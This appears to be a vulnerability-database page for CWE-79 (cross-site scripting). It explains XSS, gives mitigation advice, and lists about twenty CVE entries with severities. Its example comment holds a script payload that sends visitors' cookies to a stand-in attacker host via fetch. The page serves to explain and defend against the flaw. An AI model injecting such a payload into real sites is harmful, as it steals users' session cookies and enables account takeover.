Fallos del tipo CWE-79

29.274 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2022-39027MEDIUMe-Excellence Inc. U-Office Force - Stored XSSEPSS 0.5%CVE-2023-25811MEDIUMPersistent Cross site scripting (XSS) in Uptime KumaEPSS 0.5%CVE-2023-4187LOWCross-site Scripting (XSS) - Stored in instantsoft/icms2EPSS 0.5%CVE-2023-28499—WordPress Slide Anything Plugin <= 2.4.9 is vulnerable to Cross Site Scripting (XSS)EPSS 0.5%CVE-2023-4189MEDIUMCross-site Scripting (XSS) - Reflected in instantsoft/icms2EPSS 0.5%CVE-2023-24086MEDIUMSLIMS v9.5.2 was discovered to contain a reflected cross-site scripting (XSS) vulnerability via the component /customs/loan_by_class.php?repEPSS 0.5%CVE-2023-35929MEDIUMTuleap Cross-site Scripting vulnerability in the card field of the agile dashboard appsEPSS 0.5%CVE-2023-32072MEDIUMTuleap vulnerable toXSS via the triggered job URL of a Jenkins jobEPSS 0.5%CVE-2026-26377MEDIUMCross Site Scripting vulnerability in Koha 25.11 and before allows a remote attacker to execute arbitrary code via the News function.EPSS 0.5%CVE-2026-54694CRITICALNationalSecurityAgency/skills-service has Stored XSS via User Registration Enabling Admin Account TakeoverEPSS 0.5%CVE-2023-3016LOWyiwent Vip Video Analysis admincore.php cross site scriptingEPSS 0.5%CVE-2024-12581MEDIUMKadence Blocks <= 3.2.53 - Authenticated (Admin+) Stored Cross-Site ScriptingEPSS 0.5%CVE-2022-2839—Zephyr Project Manager < 3.2.55 - Unauthorised AJAX Calls To Stored XSSEPSS 0.5%CVE-2023-30619MEDIUMXSS in the tooltip via an artifact titleEPSS 0.5%CVE-2023-46252MEDIUMCross-Site Scripting (XSS) via postMessage Handler in SquidexEPSS 0.5%CVE-2023-1759MEDIUMCross-site Scripting (XSS) - Stored in thorsten/phpmyfaqEPSS 0.5%CVE-2024-6170MEDIUMUnlimited Elements For Elementor (Free Widgets, Addons, Templates) <= 1.5.112 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'email'EPSS 0.5%CVE-2016-15029LOWYdalb mapicoin stats.php cross site scriptingEPSS 0.5%CVE-2023-24648MEDIUMZstore v6.6.0 was discovered to contain a cross-site scripting (XSS) vulnerability via the component /index.php.EPSS 0.5%CVE-2026-55085CRITICALEtherpad: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') in etherpad-liteEPSS 0.5%